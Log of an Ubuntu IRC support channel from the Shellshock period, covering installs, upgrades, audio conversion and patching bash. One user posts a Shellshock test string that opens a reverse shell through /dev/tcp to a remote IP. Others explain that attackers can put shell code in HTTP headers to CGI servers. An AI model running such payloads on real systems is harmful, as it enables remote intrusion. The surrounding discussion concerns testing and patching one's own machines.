[03:36] <sgtsaughter> the computer is a new custom build...im assuming its a graphics card issue because thats what i mostly hear are common issues.  Is there a way to install ubuntu and bypass the gui part of the installation
[03:37] <yzx> bkjr I want to need file created-itme
[03:37] <Bashing-om> !nomodeset | sgt
[03:38] <yzx> bkjr nautilus maybe have a plug-in
[03:38] <yzx> bkjr do you know it?
[03:39] <sgtsaughter> hey thanks for the response.  I've tried the nomodeset setting and then clicking either try ubuntu or install and it produces the same result
[03:40] <smart_developer> What is "hup" ?
[03:41] <Bashing-om> sgtsaughter: What graphics card ?
[03:42] <antonio__> I'm trying to convert a .mov audio file from an interview I did today.  The guy sent me the .mov file.  When I listen to the .mov file I only hear myself.  If I use an online .mov to .mp3 convertor I can only hear his voice.  Does anyone know of a way where I can convert a .mov file on ubuntu to an .mp3 and have both channels?
[03:42] <diverdude> i want to test if my system is vulnerable to the new shellshock vulnerability, so i do:  env test='() { ignored;};/bin/bash -i >& /dev/tcp/<IP_ADDRESS>/55555 0>&1' bash -c "pwd" which results in bash: connect: Connection refused bash: /dev/tcp/<IP_ADDRESS>/55555: Connection refused Segmentation fault (core dumped). But if i just do: env test='() { ignored;}; echo "Vulnerable"' bash -c true    it prints out vulnerable. Does that mean my system
[03:42] <sgtsaughter> Bashing..i have a nvidia geforce gt 740
[03:42] <diverdude>  is vulnerable or not?
[03:43] <zzxc> THats a werid test script...
[03:43] <zzxc> Try this: x='() { :;}; echo vulnerable' bash
[03:43] <stn> hellow guys
[03:44] <zzxc> hey stn
[03:44] <sgtsaughter> Bashing-om: nvidia geforce gt 740
[03:44] <stn> the last ubuntu's verson run on CD boot ?
[03:44] <nestle33> diverdude try what zzxc said
[03:44] <diverdude> zzxc, that says vulnerable
[03:44] <nestle33> then u need to update
[03:44] <nestle33> lsb_release -a what version are you on?
[03:44] <zzxc> diverdude: Yep. I'm in the same boat.
[03:45] <diverdude> aha, thanks :)
[03:45] <Bashing-om> sgtsaughter: Humm.. "nomodeset' should work. When you boot the install DVD do you choose that option from F6 @ boot options screen ?
[03:45] <sgtsaughter> Bashing-om: yes thats exactly what i do
[03:45] <nestle33> zzxc i dont get it. why am i not vulnerable but you and diverdude are?
[03:46] <zzxc> nestle33: ? Have you do the update.
[03:46] <diverdude> nestle33, i have not updated or patched my system yet
[03:46] <Bashing-om> sgtsaughter: Maybe, try the "acpioff" option. See what happens .
[03:46] <sgtsaughter> Bashing-om: ive tried this with 14.04.1 and with 12.04...when i try it with 12.04 i get to a screen that just says Ubuntu 12.04 with some dots that make it look like its loading but then eventually freezes too
[03:47] <bkjr> yzx, i couldn't find a reliable way to do that. only some filesystems store created time. check out http://askubuntu.com/questions/470134/how-to-find-the-creation-time-of-a-file
[03:47] <sgtsaughter> Bashing-om: should i try the acpioff option with nomodeset or just acpioff option alone
[03:47] <diverdude> nestle33, so when is a system vulnerable to this? I mean no normal linux exposes a bash script to people who have not been logged in via ssh already
[03:47] <Bashing-om> sgtsaughter: I would try both ways.
[03:48] <diverdude> zzxc, ^
[03:48] <nestle33> zzxc he said he is vulnerable. you said you are in the same boat. im asking why? why dont you update ubuntu
[03:48] <bkjr> antonio__, what's your player?
[03:48] <antonio__> bkjr: vlc player I think....
[03:49] <antonio__> When I play the .mov I only hear my side of the interview..when I use ffmpeg to convert it to an mp3 I only hear his side...really really weird
[03:49] <yzx> bkjr Thanks!Do you know some nautilus plug-ins?Please introduce
[03:50] <sgtsaughter> Bashing-om: when i try with just acpioff i get what looks like a big wall of text of an error code with the last line reading "Kernel panic - not synching: Attempted to kill init! exitcode=0x00000009"
[03:52] <Bashing-om> sgtsaughter: Not good, did you md5sum on the .iso file ? How did you burn the .iso file ? .. maybe a bad burn here ?
[03:54] <zzxc> diverdude, nestle33. I'm currently in the process of it. But I have active users right now... I'm running a test run. I'll follow up after midnight.
[03:54] <sgtsaughter> Bashing-om: i checked the md5sum on the iso file matched with the documentation here https://help.ubuntu.com/community/UbuntuHashes
[03:55] <bkjr> antonio__, what was your ffmpeg command?
[03:55] <Peng> diverdude: Lots of systems expose bash to remote users. For example, web servers with CGI scripts, or the DHCP client.
[03:55] <nestle33> well id consider this almost like an emergency
[03:55] <sgtsaughter> Bashing-om: i burned the iso twice and followed the directions here https://help.ubuntu.com/community/BurningIsoHowto (burnt from an ubuntu machine)
[03:55] <nestle33> like to me theres nothing wrong wiht just doing an emergency maintenance. the users will get over it
[03:55] <diverdude> Peng, what about apache using modwsgi?
[03:55] <Bashing-om> sgtsaughter: Good, ok, verify the disk .. boot to the boot options screen and choose " check disk for defects" .. will take a bit to check, then will have you to reboot.
[03:56] <zzxc> nestle33: Yeah. I know. Dear god trust me I know.  Unfortantly, clients can have time sensive stuff.
[03:56] <fkl> is 11.10 (oneiric) repo support completely phased out?
[03:57] <Peng> fkl: yes
[03:57] <fkl> no wonder. (Failed to fetch http://ca.archive.ubuntu.com/ubuntu/pool/universe/c/compizconfig-settings-manager/compizconfig-settings-manager_<IP_ADDRESS>-0ubuntu1_all.deb 404  Not Found)
[03:57] <bkjr> antonio__, i'd try -ac 2 just in case
[03:58] <Peng> fkl: You can use old-releases.ubuntu.com, to immediately upgrade to a distro that isn't old and insecure and unsupported.
[03:58] <Peng> diverdude: Probably okay, but I'm not certain.
[03:58] <sgtsaughter> Bashing-om: when i check disk for defects it does the same thing just goes to a black screen with a blinking white cursor and then eventually freezes...thanks for your help by the way i really appreciate it
[03:58] <fkl> Peng: I'd much rather upgrade at a later time, is there a way for me to install the above package (ccsm)?
[03:59] <diverdude> Peng, so how would somebody actually use this? somehow embed a bash script in an http request for the apache to execute?
[03:59] <xangua> fkl: isn't two years out of support enought later time¿
[03:59] <zzxc> Ever have that moment where you wonder why something is taking so long only to find out you forgot to hit enter?
[03:59] <sgtsaughter> Bashing-om: ive been looking through all the documentation on this issue all night i feel like ive tried everything
[04:00] <Peng> diverdude: CGI sets environment variables from HTTP headers and such, e.g. the User-Agent header becomes the HTTP_USER_AGENT environment variable.
[04:00] <sgtsaughter> Bashing-om: ive been able to get through a windows 7 install process fine ( i didnt actually install it just wanted to run another install process to rule out this being a hardware issue because its a custom built pc)
[04:00] <Peng> diverdude: So you'd set the User-Agent or Host or whatever to a little bit of shell scripting, yes.
[04:00] <orb__> A few years ago I played a game no Ubuntu that had you control a small (sorf-of billiard) ball with your mouse (or keyboard), and you had to defeat other balls by pushing them against the walls of the screen.  There were upgrades for mass and acceleration.  Does anyone remember the name of the game?
[04:00] <diverdude> Peng, hmm ok.
[04:01] <Bashing-om> sgtsaughter: Well, ummm .. at this point I would take that disk to another machine and see if it boots. We must eliminate a possible bad disk .
[04:02] <diverdude> Peng, so an evil attacker could just fire up curl and send some http request with user-agent containing shell script to a vulnarable apache server and tada?
[04:03] <Bashing-om> sgtsaughter: Then it is not the disk, huh ..Now I just do not know what to advise. You might try each of the F6 options and see what results with each. What processor do you have ?
[04:03] <Peng> diverdude: Yup!
[04:03] <zzxc> diverdude: Yeah, pretty much. Scary huh?
[04:03] <diverdude> zzxc, yikes...im getting this patched
[04:03] <Peng> Yup.
[04:04] <diverdude> how could that be missed by the bash devs
[04:04] <zzxc> Well its something thats been there for the last 25 years or so.
[04:04] <sgtsaughter> Bashing-om: i have an intel core i5
[04:05] <diverdude> zzxc, heh and nobody knew about it
[04:05] <lotuspsychje> that new bash exploit also affects ubuntu?
[04:05] <diverdude> zzxc, makes me think about how many vulnerabilities my system have which i dont know :D
[04:05] <diverdude> lotuspsychje, yes
[04:06] <lotuspsychje> diverdude: is there a fix already?
[04:06] <diverdude> lotuspsychje, no idea
[04:06] <diverdude> lotuspsychje, yes there is
[04:06] <diverdude> lotuspsychje, just update from apt
[04:06] <Bashing-om> sgtsaughter: I have heard of no problems with the i5 system .. Intell like 'buntu. Maybe look in bios and see what you can change ( MMIOU ??).
[04:06] <zzxc> diverdude: Yeah, heartbleed was there for a few years too if I remeber right
[04:07] <lotuspsychje> diverdude: lemme check detailed updates
[04:07] <zzxc> !shellshock
[04:07] <zzxc> lotuspsychje: ^
[04:07] <lotuspsychje> zzxc: tnx for that trigger
[04:07] <zzxc> =]
[04:08] <coolstar> hi, I'm using Ubuntu 14.04 on my laptop
[04:08] <coolstar> at school we need to use a proxy autoconfig to access some websites though
[04:09] <coolstar> I set it in system settings and it works fine in most apps
[04:09] <coolstar> however I can't get wine to use the proxy
[04:10] <lotuspsychje> zzxc: Preparing to unpack .../bash_4.3-7ubuntu1.3_amd64.deb ...
[04:10] <lotuspsychje> Unpacking bash (4.3-7ubuntu1.3) over (4.3-7ubuntu1) ...
[04:10] <lotuspsychje> :p
[04:11] <lotuspsychje> !info bash
[04:11] <sgtsaughter> Bashing-om: yeah i read a lot about this issue being connected to UEFI in the BIOS but i havent been able to wrap my head around where those settings are on my BIOS settings and what exactly i have to turn off
[04:11] <zzxc> lotuspsychje: Huh, its out of date. Not really that suprizing though.
[04:12] <zzxc> I'm lazy I just run unattended-upgrade
[04:12] <Bashing-om> sgtsaughter: I regret I can offer no more. I am calling it a night and wish you well with finding the cause. I Will be back tomorrow,
[04:12] <lotuspsychje> zzxc: wich version you have?
[04:13] <Robbie_Crash> I have a server with only a single login, I changed my shell and must've typo'd the new shell in /etc/passwd and cannot log in. Is my best bet running a live cd and editing it or is there an alternative?
[04:13] <sgtsaughter> Bashing-om: thanks a lot for your help im gonna call it a night too.  It was good debugging this with someone else just to keep a sanity check.  Thanks again!!
[04:13] <zzxc> Same as you, but ubottu is out of sync.
[04:13] <lotuspsychje> zzxc: ubottu needs little time to sync
[04:14] <Bashing-om> sgtsaughter: Times of troubles, 2 heads are better then 1, here there are many heads and given time we will find out the fault.
[04:14] <lotuspsychje> zzxc: tnx again for the shellshock hint
live cd is good
[04:15] <Robbie_Crash> thanks
[04:17] <coolstar> is there a way I can get wine to use a proxy autoconfig?
[04:18] <fkl> Peng, thanks. Adding the appropriate repos on old-releases.ubuntu.com in sources.list worked :-)
[04:22] <abru> Anyone know if doing do-release-upgrade will blow away my configurations and installed apps?
[04:22] <Fall> yeah! who needs underscores anyway
[04:22]  * Fall goes back to idling
[04:23] <bkjr> abru, it'll ask you if you want to keep them or update
[04:23] <abru> I need to go from ubuntu server 13.04 to 14.04
[04:24] <xangua> !eol | abru
[04:26] <abru> how does it work if you keep them?
[04:27] <zzxc> lotuspsychje: No. glad I was able to help
[04:27] <Grimlock1182> how toset the evolution mail and calendar im using my hotmail address?
[04:28] <lotuspsychje> !cookie | zzxc
[04:29] <zzxc> lotuspsychje: Hahaha =]
[04:29] <coolstar> is there a way for me to force an app to use a SOCKS proxy?
[04:29] <nestle33> tsocks
[04:29] <nestle33> apt-get install tsocks
[04:30] <nestle33> then find examples for tsocks on google
[04:30] <nestle33> you'd do it like tsocks ./file.sh i think
[04:30] <coolstar> nestle33: let me check that out
[04:31] <coolstar> nestle33: is there a way I can config tsocks to use a proxy autoconfig file?
[04:32] <diverdude> zzxc, hmm i just tried to see if i could break my apache/php server with the shellshock...and php seems to be save...at least i did not manage to break in. Probably its only servers running cgi scripts like pearl which have the vulnerability
[04:32] <diverdude> zzxc, im guessing most servers today dont run perl scripts as web scripts
[04:35] <abru> That EOLUpgrades page is kinda out of date
[04:36] <zzxc> diverdude: Yeah, less and less. But they are still out there.
[04:36] <zzxc> Hoenstly the big threat of this less short term and more the botnet of old machines.
[04:37] <diverdude> zzxc, there was also some problem with DHCP right?
[04:37] <Peng> diverdude: yes
[04:38] <Peng> diverdude: dhclient sets environment variables using input from the DHCP server and runs shell scripts.
[04:38] <zzxc> Though the short term is pretty terrifying. But long time, routers, printers, imbeded systems that don't get an update will end just be there on the net. Its like the telpocoplies all over again.
[04:39] <diverdude> zzxc, like in a botnet?
[04:40] <zzxc> Yeah, or what ever else you want it to do.
[04:40] <ItsMeLenny> would anybody know roughly how many MB the upgrade is from 12.04 to 14.04.1?
[04:41] <diverdude> zzxc, well hacking is actually pretty defficult....not so many people know how to do it
[04:41] <Robbie_Crash> bkjr thanks, all good now. :)
[04:41] <coolstar> is there a way for me to configure tsocks to use a proxy autoconfig file?
[04:43] <sennn> hello
[04:43] <zzxc> Eh I mean it doesn't take that much to set it up and have a botnet set up to expand.
[04:43] <diverdude> zzsoo
[04:43] <diverdude> zzxc, soo
[04:43] <cfhowlett> ItsMeLenny, 1.5 gigs
[04:44] <zzxc> diverdude: Heads up I'm about to be super distracted for a while
[04:44] <ItsMeLenny> damn thats big
[04:44] <diverdude> zzxc, how so?
[04:45] <zzxc> diverdude: System Ops stuff, put out a notice to our users a second ago.
[04:45] <zzxc> a while ago *
[04:45] <diverdude> zzxc, oh wauw.
[04:54] <ndirikufunda> ndiepe shamwari
[04:54] <smart_developer> Hi everyone, what is the difference between "ps -eLf" and "ps axms" ?
[04:57] <ndirikufunda> does riseup.net have shell and web space?
[04:58] <ndirikufunda> and not just email
[04:58] <ndirikufunda> i want to configure everything with my riseup.net account using ubuntu
[04:58] <ndirikufunda> :-)
[05:07] <netlar> I am on a Mac, that has not patched for Shellshock, how can I tell if someone has already hacked my system
[05:07] <cfhowlett> ItsMeLenny, 14.04.1 desktop = 1 GB = use torrents to get it
[05:07] <sivik> anyone have any luck with window tearing and nvidia and xfce?
[05:08] <sivik> netlar, do you know how to check for logged in accounts?
[05:08] <netlar> sivik: nope
[05:09] <sivik> Thats the easiest way to do it.  Do you even know how to open terminal?
[05:09] <sivik> http://unix.stackexchange.com/questions/14127/how-to-know-when-and-which-user-logged-into-the-system-under-mac-os-x-last-is-n
[05:09] <netlar> sivik: yes
[05:10] <sivik> http://osxdaily.com/2014/03/25/see-users-who-connected-to-mac/
[05:10] <sivik> and you should probably find a mac channel and ask in there as its probably way different than ubuntu.
[05:11] <netlar> ok, just check my ubuntu box, it is fine, just found out my mac was not
[05:11] <cfhowlett> netlar, mac channels are the place to ask about OSX
[05:18] <netlar> they are little slower then you guys
[05:19] <cfhowlett> netlar, osx is not linux.  linux is not osx.  consider your sources.
[05:19] <netlar> As in how helpful they will be?
[05:19] <cfhowlett> netlar, as in the quality of information you get.
[05:20] <bkjr> abru, you get 3 options: view diff/keep old config/upgrade to new default. you probably want to see the diff first
[05:20] <netlar> cfhowlett: I will just call them tomorrow
[05:50] <TyrfingMjolnir> How do I change my sources.list to cdn?
[05:51] <TyrfingMjolnir> sources.list is open, which URI to use?
[05:54] <squinty> TyrfingMjolnir:  use your Update Manager or "Software Updates" to change servers. there is a toggle server menu on the Ubuntu Software tab.  switch it to canada
[05:55] <squinty> TyrfingMjolnir:  you can also use Synaptic Package manager to do the same too.
[05:56] <TyrfingMjolnir> squinty: ?
[05:56] <TyrfingMjolnir> I use ssh
[05:56] <TyrfingMjolnir> and apt
[05:56] <TyrfingMjolnir> I m not installing a GUI to change repo
[05:56] <squinty> ok whatever
[05:57] <karab44> hello
[05:57] <karab44> my clock simply disapeared in menu bar
[05:57] <TyrfingMjolnir> I m asking for the URL for the CDN ubuntu repo
[05:58] <bkjr> what's cdn
[05:58] <karab44> and time & date settings is like inactive for clock. What happenes? I wanted to check my time.
[05:59] <somsip> TyrfingMjolnir: there is no cdn repo. You choose a repo that is fast for you
[05:59] <TyrfingMjolnir> I thought ubuntu was a debian derivative
[05:59] <TyrfingMjolnir> cdn is somewhat new, I expected ubuntu to have done this before debian, my fault
[06:00] <TyrfingMjolnir> bkjr: content distribution network (CDN)
[06:01] <ifireball> TyrfingMjolnir: there is probably a mirror auto-selection script in the repos, but quickly looking at packages with 'mirror' in their name I don't see one that pops up as such, if you remember what is was called in Debian, its the same
[06:02] <TyrfingMjolnir> cdn.debian.org
[06:02] <ifireball> TyrfingMjolnir: I meant the package not the host
[06:03] <TyrfingMjolnir> There is a protocol mirror implementation AFAIK
[06:03] <TyrfingMjolnir> instead of http:// type mirror;
[06:06] <bipul> Hello, I think trusty is vulnerable from shellshock "bash bug". How i can patch this.
[06:07] <wolegroon> Hello guys. I just tried installing ubuntu on an old computer, but the install failed, now it won't boot from cd or anything. Can anyone help me troubleshoot what the problem might be?
[06:07] <ifireball> bipul: its in the repos
[06:07] <squinty> bipul: if you so your software updates it will pull in the new bash
[06:07] <TyrfingMjolnir> wolegroon: Sure
[06:07] <Flannel> bipul: `sudo apt-get update && sudo apt-get upgrade`
[06:08] <ifireball> bipul: But its not as vulnerable as other distros because 'sh' is 'dash' and not 'bash' by default
[06:23] <paintDC> ronald
[06:23] <paintDC> hey guys how are you doing
[06:24] <littlephil> hey
[06:39] <somsip> squinty: I admit I can't see how some of the vulnerability checks still seem to work under 1.3, but I guess we have to trust that this time it really is fixed.
[06:39] <squinty> somip:  keeping fingers crossed. :)
[06:40] <somsip> squinty: I still have faith in OSS. The found that the first patch didn't work. They'll find if anything else is still wrong given the focus on this right now
[06:45] <mulga> hey guys, what's the best/easiest way to dump a debug.log from a console only VPS, so i can either copy it or send it (email eventually) to someone?
[06:50] <hateball> mulga: just scp it somewhere?
[06:50] <hateball> "a debug.log" is rather... unspecific
[06:52] <mulga> replace "debug.log" with foo.txxt then
[06:52] <mulga> *foo.txt
[06:52] <somsip> mulga: what do you really want? A full dump of all output from the VPS client?
[06:53] <Romance> upgraded my ubuntu 14.04, and now ctrl + alt + z dont work for Artha dictionary, it doesnt give me that gnome notification thing
[06:53] <hateball> mulga: If you just want to send a file somewhere, use scp
[06:53] <hateball> !scp
[06:54] <mulga> hateball: i'm not familiar with scp, but  will check out man pages and see how i go. thanks for your help
[06:55] <mulga> and thankyou !bot
[06:56] <hateball> mulga: scp requires a running ssh-server on one end at least
[06:57] <mulga> hateball: righto. no
[07:04] <lkthomas> hey guys
[07:04] <lkthomas> does MAAS could be use to provision general server ?
[07:04] <mulga> hateball: *righto. np
[07:17] <agent_white> testing!
[07:17] <somsip> !test | agent_white
[07:17] <Flannel> somsip: No, he can't in this case.
[07:18] <somsip> Flannel: the test or the vps question?
[07:18] <agent_white> Awesome! Thanks again Flannel!
[07:20] <hardydash> Quit
[07:20] <hardydash> screen
[07:21] <hardydash> screen
[07:21] <hardydash> Quit
[07:25] <kjelle> .o/
[07:35] <bcvery1> exit
[07:51] <AceLan> Hi, when doing apt-get update, there is "Hit http://archive.ubuntu.com utopic/multiverse Translation-zh_TW" that contains the translation of the packages description. Can I add my own translation from a PPA?
[07:55] <Hightower_> Morning all
[07:55] <Hightower_> This bash security issue - I'm guessing updating bash to latest version will patch the issue?
[07:57] <AceLan> Hightower_: you can try it yourself, you shouldn't see "XD" if patched # env x='() { :;}; echo XD' bash -c "echo This is a test code"
[07:59] <somsip> Hightower_: yes
[08:06]  * Sunstream snickers. He found himself a life (Potion) in the game he is playing.
[08:13] <antonio__> Anyone around?
[08:14] <rwsq1> hi antonio__
[08:14] <antonio__> hey
[08:14] <antonio__> I'm trying to convert a .mov audio file from an interview I did today.  The guy sent me the .mov file.  When I listen to the .mov file I only hear myself.  If I use an online .mov to .mp3 convertor I can only hear his voice.  Does anyone know of a way where I can convert a .mov file on ubuntu to an .mp3 and have both channels?
[08:14] <antonio__> When I play the .mov I only hear my side of the interview..when I use ffmpeg to convert it to an mp3 I only hear his side...really really weird
[08:14] <rwsq1> yeah that's weird :)
[08:15] <imfede> strange. i would try to poen it in audacity and see how it's made. and than you can export it in mp3
[08:15] <rwsq1> I guess you may need to pull out both audio streams and recombine them
[08:15] <antonio__> imfede: can't open it in audacity.  Its a .mov file
[08:15]  * Sunstream roars madly....
[08:16] <Sunstream> I installed the ubuntu version of Silverlight and tried to go to the website again to play the content and it still says I need to install it despite restarting my browser..... (Firefox)
[08:16] <Sunstream> anyone here help me with the Silverlight issue?
[08:16] <agent_white> antonio__: Did you end up trying out `ffprobe` on your .mov file?
[08:17] <imfede> even with ffmpeg? i'm pretty sure there is a way to do it
[08:17] <agent_white> ffmpeg or mplayer should be able to handle it. Just gotta dissect the file first :)
[08:19] <lorenzo_> @find Lillian Roxon
[08:20] <theperfectpunk> how do i start a shell file from terminal as a seperate thread
[08:20] <theperfectpunk> the script launches an application
[08:20] <antonio__> hey agent_white: yes I did..you want the pastebin of it?
[08:20] <theperfectpunk> i don't want to keep the terminal running
[08:20] <agent_white> antonio__: Sure thing!
[08:20] <xangua> Sunstream: the ubuntu version of Silverlight? If you mean moonlight it hasn't been developed for years
[08:21] <Sunstream> nods
[08:21] <agent_white> theperfectpunk: You mean you want to start it in the background? Just append a "&" to the end of the name.
[08:21] <Sunstream> I see that
[08:21] <Sunstream> its not being reconized by audible.com so I guess I have to use my tablet to play my content
[08:21]  * Sunstream shakes his head.
[08:21] <johelish> I can't access my server via the internet atm. When I ping my server it says "From <IP_ADDRESS>: icmp_seq=3 Redirect Host(New nexthop: ser147.wizardgoonies.com (<IP_ADDRESS>))"
[08:22] <johelish> Is it hacked?
[08:22] <antonio__> agent_white: here you go http://pastebin.com/NestsRmh
[08:22] <theperfectpunk> agent_white: thanx, by the way i got something as output after executing the shell script - two numbers, what is that?
[08:22] <rwsq1> looking into shellshock - anyone know if ubuntu servers are vulnerable via an apache cgi route?
[08:22] <agent_white> theperfectpunk: That's the PID of that process you send to the background.
[08:22] <theperfectpunk> agent_white: [1] 12188
[08:22] <spikeb> rwsq1,  http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/ has info on how you can test
[08:22] <theperfectpunk> and what is the [1]?
[08:22] <rwsq1> I've tried the online tests which say they aren't - is this because apache uses /bin/sh not /bin/bash
[08:22] <Sunstream> I wish websites would be a little more universal. I guess I will have to go into WINE/IE maybe to get it to work
[08:23] <agent_white> theperfectpunk: So if you went `ps aux | grep 12188` you should see the name of your process on the line.
[08:23] <imfede> theperfectpunk, its the job number, used only in the current shell for doing "fg %<job number>"
[08:23] <agent_white> theperfectpunk: That's the counter of the number of jobs you sent to the background. type `jobs`
[08:24] <theperfectpunk> agent_white: if i send another process to background it will output 2 then?
[08:24] <agent_white> Yes!
[08:24] <theperfectpunk> thank u guys :-)
[08:25] <agent_white> And if you forget to do "&", next time just hit Control+z
[08:26] <agent_white> Damned, he left! :(
[08:26] <agent_white> antonio__: Can you pastbin the output of `ffprobe file.mov` instead of the mp3?
[08:26] <agent_white> ffprobe the original mov file.
[08:27] <antonio__> here you go http://pastebin.com/MyNuRYss
[08:27]  * Sunstream shakes his head again.
[08:29] <Sunstream> "While Silverlight can be installed on Linux based computers, Linux users will not have the ability to use the Audible cloud player at this time." (Sad)
[08:30] <isene> For the font-guys here:
[08:30] <Sunstream> Anyone tell me is there a way to trick the silverlight to work and act like I am in a windows pc or will I have to actually go into WINE and try in there
[08:31] <isene> Still have antialias fonts despite removing it in gconf-editor and dconf-editor and in my gtkrc-2.0 (via lxappearance). Any other places I need to look?
[08:31] <isene> I want the antialiasing GONE!
[08:31] <imfede> Sunstream, idk but it's a M$ technology, i wouldn't be surprised if it can't work with linux
[08:31] <spikeb> Sunstream, http://pipelight.net/cms/
[08:32] <spikeb> pipelight + a user agent changer should do the trick
[08:32] <Hightower_> I have an old version of 8.04 that I sort of forgot about, I need to upgrade it to a supported version and I found this command to run an upgrade to 10.04: gksu "sh /cdrom/cdromupgrade"
[08:32] <Sunstream> what is so darned special for Silverlight anyways.. a "easy to program" bs
[08:32] <Hightower_> However, the 8.04 system doesn't have gksu installed, and it won't install because the repos are now out of date
[08:33] <mike> hey guys
[08:33] <Hightower_> Is there a way to install it so I can run the upgrade to 10.04, or a different way of running the upgrade?
[08:33] <Guest17488> my machine is vulnerable to shell shock
[08:33] <Guest17488> but i cant seem to update with sudo apt-get install --only-upgrade bash
[08:33] <k1l> !eol | Hightower_
[08:33] <Guest17488> it says already the newest version
[08:33] <OerHeks> Hightower_, 10.04 desktop is EOL too, better download the latest
[08:33] <k1l> Guest17488: what ubuntu are you on?
[08:33] <Hightower_> I know it's eol
[08:33] <geirha> Guest17488: which release?  lsb_release -r
[08:33] <Guest17488> 13.10
[08:33] <Hightower_> But the upgrade process is 10.04 -> 12.04 and so on right?
[08:34] <k1l> Hightower_: see, the upgrade procedure for eol mentioned by the bot
[08:34] <Hightower_> Ah thanks buddy
[08:34] <k1l> Guest17488: you dont get any security updates anymore. so upgrade to 14.04 first
[08:34] <Guest17488> is that apt-get upgrade?
[08:34] <Guest17488> oh dist upgrade isnt it
[08:35] <k1l> Guest17488: no. its "sudo do-release-upgrade"
[08:35] <Guest17488> never heard of that cool thanks!
[08:35] <agent_white> antonio__: I poked through the man pages, may have found it :)
[08:36] <agent_white> Maybe... hmmm
[08:38] <Guest17488> i did do-release-upgrade
[08:41] <antonio__> agent_white: go on ;)
[08:43] <agent_white> antonio__: Real quick first -- try `ffmpeg -i INPUT.mov -ac 2 OUTPUT.wav`
[08:43] <agent_white> antonio__: Let me know what it does, and a pastebin of `ffprobe OUTPUT.wav`
[08:43] <antonio__> encoding
[08:44] <agent_white> antonio__: It's working on it? Or failed?
[08:44] <hacker> hey
[08:45] <antonio__> brb
[08:45] <antonio__> http://pastebin.com/BJJ7DvVi
[08:45] <c0ffee_> hello, i just added changes through apt-get to system from this answer http://askubuntu.com/questions/399774/annoying-viber-notification. How to revert changes?
[08:46] <agent_white> antonio__: Shoot me a PM when you're back. :)
[08:46] <k1l> !ppa-purge | c0ffee_
[08:47] <fuser312> Hello, everyone. Its my first time in this IRC, so how's everyone's ubuntu
[08:47] <c0ffee_> thank you k1l
[08:50] <Hightower_> Cheers for your help this morning guys, greatly appreciated
[08:50] <Hightower_> :D
[08:56] <isene> Any font-guys or font-girls around?
[09:03] <Guest17488> ok so im getting loads of errors now after doing the upgrade
[09:04] <Guest17488> Give root password for maintenance or type Control D to continue
[09:04] <Guest17488> over nad over and over again
[09:07] <agent_white> Guest17488: What file does it say is corrupt?
[09:07] <Guest17488> it doesnt
[09:07] <agent_white> So those are the only things on the screen? Nothing above it?
[09:08] <agent_white> Guest17488: Take a picture of your screen when it says that, put it on imgur.com, and then show us that.
[09:11] <shal3r> what's the best way to update bash on ubuntu 13.10 without updating whole release to 14.04?
[09:11] <Hightower_> apt-get update && apt-get install bash
[09:11] <Hightower_> ^^ Is what I've been using
[09:11] <MadsRC> apt-get update && apt-get upgrade bash is what I've done :)
[09:11] <Guest87048> new
[09:11] <Guest87048> now
[09:11] <Guest87048> enter
[09:12] <MadsRC> Oh wait, isn't 13.10 EOL?
[09:12] <somsip> !13.10
[09:13] <somsip> shal3r: so no security updates for you
[09:13] <MadsRC> Yah, so no updates yeah
[09:13] <Z3> Hi, how can I disable metacity compositing in Ubuntu 14.04 using Gnome Flashback (metacity) ?
[09:13] <nezuvian> morning folks o/
[09:14] <MadsRC> Morning 07
[09:15] <Z3> previously it was done editing /etc/X11/xorg.conf
[09:15] <pam> agent_white: can I pm you..its antonio...mp3 dude :D
[09:15] <Z3> but not that file is not used
[09:16] <Z3> sorry. In current Ubuntu version that file is not used
[09:16] <Z3> so I need a way to disable metacity compositing using the Gnome Classic desktop (gnome flashback session(metacity))
[09:17] <litropy> Is there something wrong with my memory management setup? I have 2GB RAM and ~500MB swap. In Chrome, if I have too many tabs open, the comp just kinda sits there crunching. I have to ssh in and killall chrome just to do anything at all. Should I maybe expand swap? I've yet to check the status of swap when this happens, but it seems like it would be maxxed. 12.04
[09:19] <somsip> litropy: the usual rule of thumb for swap is 2xRAM, but that comes from the old days of MBs of RAM not GBs. But with what you describe, you almost certainly need more RAM or swap
[09:19] <somsip> litropy: can't you leave top running in ssh, and then open tabs and see if it does over-use memory?
[09:20] <litropy> someone, I can. but I've been very busy.
[09:21] <litropy> somsip, ^^
[09:21] <litropy> so, gparted, then?
[09:21] <somsip> litropy: irrespoective, it seems the first step to a solution
[09:21] <litropy> somsip, if swap is confirmed to be maxxing ^^
[09:22] <litropy> I'm certain RAM is maxxing.
[09:22] <somsip> litropy: gparted will allow you to change the swap partition size, yes
[09:22] <litropy> somsip, thx.
[09:22] <somsip> litropy: all usual caveats apply - backup first
[09:22] <litropy> yep :-D
[09:24] <litropy> somsip, just fyi, it happens while I'm working, and if I wait too long, the comp locks so tightly that it won't even respond to an ssh'ed shell command.
[09:25] <agent_white> Also need to look into tuning your swappiness.
[09:25] <litropy> somsip, Ah, the joys of having your main comp die, then having to use your puny early 2000's server box.
[09:25] <somsip> litropy: find a way to dump free -h to a file every few secs. Something using top or a memory-related version of iostats
[09:26] <litropy> agent_white, I didn't know I could do that.
[09:26] <agent_white> litropy: http://rudd-o.com/linux-and-free-software/tales-from-responsivenessland-why-linux-feels-slow-and-how-to-fix-that
[09:26] <agent_white> :)
[09:27] <agent_white> litropy: Aye, you basically can tune it to prioritize one over the other.
[09:27] <somsip> litropy: free -h -s 1 > /tmp/memory_log
[09:27] <HellTiger_NB> hello, ca some one suggest a cloud drive with apt updates, like dropbox or google drive?
[09:28] <litropy> nice, agent_white
[09:30] <litropy> somsip, free: invalid option -- 'h'
[09:30] <litropy> procps version 3.2.8
[09:31] <somsip> litropy: perfectly cromulent option. Did you -h or just 'h'
[09:31] <balle_> Greetings! How do I recursivly make all files and folder within a folder like 666?
[09:31] <litropy> somsip, http://paste.ubuntu.com/8431629/
[09:31] <somsip> balle_: chmod 666 -R /path/to/folder
[09:32] <somsip> litropy: what version of ubuntu are you running?
[09:32] <litropy> 12.04
[09:32] <somsip> litropy: well, just -m then I suppose. -h gives human readable output, so -m will do
[09:33] <litropy> AKA "The Only Version That Safely Runs On This Tin Can"
[09:33] <litropy> Or, I should say, the max version.
[09:33] <somsip> litropy: afk
[09:40] <debi> will apt-get update && apt-get install bash patch shellshock?
[09:41] <Hightower_> It's been working for me
[09:41] <polikit> Is it safe to run do-release-upgrade from 12.04.5 LTS to 14.04.1 LTS? It's LAMP server + OpenVPN
[09:41] <debi> Hightower_:tlaking to me?
[09:43] <debi> will apt-get update && apt-get install bash patch shellshock?
